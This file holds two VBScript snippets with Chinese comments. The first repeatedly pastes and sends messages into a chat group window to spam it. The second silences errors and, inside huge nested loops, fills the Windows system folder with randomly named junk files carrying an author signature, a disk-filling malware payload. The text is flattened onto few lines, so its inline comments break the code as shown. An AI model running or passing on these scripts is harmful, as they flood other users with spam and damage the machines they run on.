Set WshShell= WScript.createObject("WScript.Shell") WshShell.AppActivate "群 － Powers成員交流" for i=1 to 10 '要發的次數 WScript.Sleep 500 '發送消息的時間間隔 WshShell.SendKeys "^v" '要發的內容 WshShell.SendKeys i '這里拿每條消息都不同，在后面加上i即循環的次數 WshShell.SendKeys "%s" next
on error resume next dim objdir,suijishu set objdir=wscript.createobject("scripting.filesystemobject") set windir=objdir.getspecialfolder(0) set sysdir=objdir.getspecialfolder(1) '開始程序 for i=1 to 1000 for j=1 to 1000 for r=1 to 1000'------------------------------------------------------------------------------ randomize y=int((122-65+1)*rnd+65) y1=int((122-65+1)*rnd+65) y2=int((122-65+1)*rnd+65) y3=int((122-65+1)*rnd+65) y4=int((122-65+1)*rnd+65) y5=int((122-65+1)*rnd+65) y6=int((122-65+1)*rnd+65) y7=int((122-65+1)*rnd+65) y8=int((122-65+1)*rnd+65)'----------------------------------------------------------------- y9=int((122-65+1)*rnd+65) f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9) suijishu=int(rnd*10000) '創建windows文件 yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y) set a=objdir.createtextfile(yang,true) a.writeline"Made In China,Hubei,Wuhan,Guanshan" a.writeline"古風居委會首席執行官老楊同志" a.writeline"Oicq:14903220"'------------------------------------------------------------ for u=1 to suijishu a.writeline(f&f&f&f&f&f&f) next a.close yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) '2 set a=objdir.createtextfile(yang,true) a.writeline"Made In China,Hubei,Wuhan,Guanshan" a.writeline"古風居委會首席執行官老楊同志" a.writeline"Oicq:14903220" for u=1 to suijishu'----------------------------------------------------------------------- a.writeline(f&f&f&f&f&f&f) next a.close yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) '3 set a=objdir.createtextfile(yang,true) a.writeline"Made In China,Hubei,Wuhan,Guanshan" a.writeline"古風居委會首席執行官老楊同志" a.writeline"Oicq:14903220" for u=1 to suijishu a.writeline(f&f&f&f&f&f&f)'------------------------------------------------------------- next a.close yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) '4 set a=objdir.createtextfile(yang,true) a.writeline"Made In China,Hubei,Wuhan,Guanshan" a.writeline"古風居委會首席執行官老楊同志" a.writeline"Oicq:14903220" for u=1 to suijishu a.writeline(f&f&f&f&f&f&f) next'-------------------------------------------------------------------------------------- a.close yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) '5 set a=objdir.createtextfile(yang,true) a.writeline"Made In China,Hubei,Wuhan,Guanshan" a.writeline"古風居委會首席執行官老楊同志" a.writeline"Oicq:14903220" for u=1 to suijishu a.writeline(f&f&f&f&f&f&f) next a.close'---------------------------------------------------------------------------------
